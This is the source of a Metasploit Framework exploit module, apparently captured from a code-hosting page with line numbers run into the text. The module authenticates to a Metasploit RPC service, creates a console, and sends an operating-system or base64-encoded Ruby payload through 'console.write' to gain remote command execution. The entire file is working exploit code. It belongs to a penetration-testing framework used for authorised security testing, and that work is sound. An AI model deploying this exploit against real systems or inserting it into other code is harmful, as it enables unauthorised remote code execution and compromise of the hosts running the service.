Path: blob/master/modules/exploits/multi/misc/msf_rpc_console.rb
31851 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Metasploit RPC Console Command Execution',15'Description' => %q{16This module connects to a specified Metasploit RPC server and17uses the 'console.write' procedure to execute operating18system commands. Valid credentials are required to access the19RPC interface.2021This module has been tested successfully on Metasploit 4.1522on Kali 1.0.6; Metasploit 4.14 on Kali 2017.1; and Metasploit234.14 on Windows 7 SP1.24},25'License' => MSF_LICENSE,26'Author' => 'bcoles',27'References' => [28[ 'URL', 'https://help.rapid7.com/metasploit/Content/api/rpc/overview.html' ],29[ 'URL', 'https://community.rapid7.com/docs/DOC-1516' ]30],31'Targets' => [32[33'Ruby', {34'Arch' => ARCH_RUBY,35'Platform' => 'ruby',36'Payload' => { 'BadChars' => "\x00" }37}38],39[40'Windows CMD', {41'Arch' => ARCH_CMD,42'Platform' => 'win',43'Payload' => { 'BadChars' => "\x00\x0A\x0D" }44}45],46[47'Unix CMD', {48'Arch' => ARCH_CMD,49'Platform' => 'unix',50'Payload' => { 'BadChars' => "\x00\x0A\x0D" }51}52]53],54'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 15 },55'Privileged' => false,56'DisclosureDate' => '2011-05-22',57'DefaultTarget' => 0,58'Notes' => {59'Reliability' => UNKNOWN_RELIABILITY,60'Stability' => UNKNOWN_STABILITY,61'SideEffects' => UNKNOWN_SIDE_EFFECTS62}63)64)65register_options [66Opt::RPORT(55552),67OptString.new('USERNAME', [true, 'Username for Metasploit RPC', 'msf']),68OptString.new('PASSWORD', [true, 'Password for the specified username', '']),69OptBool.new('SSL', [ true, 'Use SSL', true])70]71end7273def execute_command(cmd, _opts = {})74res = @rpc.call 'console.write', @console_id, "\r\n#{cmd}\r\n"7576if res.nil?77fail_with Failure::Unknown, 'Connection failed'78end7980unless res['wrote'].to_s =~ /\A\d+\z/81print_error "Could not write to console #{@console_id}:"82print_line res.to_s83return84end8586vprint_good "Wrote #{res['wrote']} bytes to console"87end8889def exploit90begin91@rpc = Msf::RPC::Client.new host: rhost, port: rport, ssl: ssl92rescue Rex::ConnectionRefused93fail_with Failure::Unreachable, 'Connection refused'94rescue StandardError => e95fail_with Failure::Unknown, "Connection failed: #{e}"96end9798res = @rpc.login datastore['USERNAME'], datastore['PASSWORD']99100if @rpc.token.nil?101fail_with Failure::NoAccess, 'Authentication failed'102end103104print_good 'Authenticated successfully'105vprint_status "Received temporary token: #{@rpc.token}"106107version = @rpc.call 'core.version'108109if res.nil?110fail_with Failure::Unknown, 'Connection failed'111end112113print_status "Metasploit #{version['version']}"114print_status "Ruby #{version['ruby']}"115print_status "API version #{version['api']}"116117vprint_status 'Creating new console...'118res = @rpc.call 'console.create'119120if res.nil?121fail_with Failure::Unknown, 'Connection failed'122end123124unless res['id'].to_s =~ /\A\d+\z/125print_error 'Could not create console:'126print_line res.to_s127return128end129130@console_id = res['id']131print_good "Created console ##{@console_id}"132133print_status 'Sending payload...'134135case target['Platform']136when 'ruby'137cmd = "ruby -e 'eval(%[#{Rex::Text.encode_base64(payload.encoded)}].unpack(%[m0]).first)'"138when 'win'139cmd = payload.encoded140when 'unix'141cmd = payload.encoded142else143fail_with Failure::NoTarget, 'Invalid target'144end145146execute_command cmd147end148149def cleanup150return if @console_id.nil?151152vprint_status 'Removing console...'153res = @rpc.call 'console.destroy', @console_id154155if res.nil?156print_error 'Connection failed'157return158end159160unless res['result'].eql? 'success'161print_warning "Could not destroy console ##{@console_id}:"162print_line res.to_s163return164end165166vprint_good "Destroyed console ##{@console_id}"167ensure168@rpc.close169end170end171172173